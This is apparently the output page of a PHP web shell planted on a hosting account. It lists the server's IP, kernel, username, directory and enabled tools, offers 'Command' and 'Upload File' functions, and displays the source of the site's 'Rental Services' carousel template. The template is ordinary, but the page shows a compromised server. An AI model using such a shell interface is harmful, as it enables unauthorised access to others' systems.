Server IP : 103.53.40.154 / Your IP : 18.118.149.55 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/agkeymaker.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<style> @media only screen and (max-width: 600px) { .single-service-style-two { /* Adjust the width or other styles as needed for mobile */ } } </style> <section class="service-style-two"> <div class="container"> <div class="sec-title text-center" style=" padding-top:20px;"> <h3>Rental <span> Services</span></h3> </div> <div class="service-carousel-style-two owl-carousel owl-theme"> <?php $sql = "SELECT * FROM `tbl_services` WHERE cat_id = 1 ORDER BY sr_id DESC LIMIT 8"; $run = mysqli_query($db, $sql) or die("Query Not run"); while ($data = mysqli_fetch_assoc($run)) { $serviceUrl = $wspath; if (isset($_REQUEST['loc_slug'])) { $loc_slug = htmlspecialchars($_REQUEST['loc_slug']); $serviceUrl .= $loc_slug . '/'; } $serviceUrl .= '' . $data['url_link'] . '.html'; ?> <div class="item"> <div class="single-service-style-two" style="margin-top:100px; box-shadow:1px 1px 3px 3px #c4c2c2;"> <div class="img-box"> <img width="100%" src="<?php echo $wspath?>admin/images/<?php echo $data['img2'];?>" alt="<?= str_replace("LOCATION", $location, $data["property_name"]);?>"/> </div> <div class="overlay"> <div class="box"> <div class="content"> <div class="icon-box"></div> <div class="text-box"> <h3><?= str_replace("LOCATION", $location, $data["property_name"]);?></h3> </div> </div> </div> </div> <div class="hover"> <div class="box"> <div class="content"> <div class="icon-box"></div> <div class="text-box"> <a href="<?php echo $serviceUrl; ?>" class="more">Product Details<i class="fa fa-angle-right"></i></a> </div> </div> </div> </div> </div> </div> <?php } ?> </div> </div> </section> <script> $(document).ready(function(){ $(".service-carousel-style-two").owlCarousel({ items: 4, // Default items shown loop: true, margin: 10, nav: true, responsive: { 0: { items: 1 // Items shown for screen width 0px and up }, 600: { items: 2 // Items shown for screen width 600px and up }, 1000: { items: 4 // Items shown for screen width 1000px and up } } }); }); </script>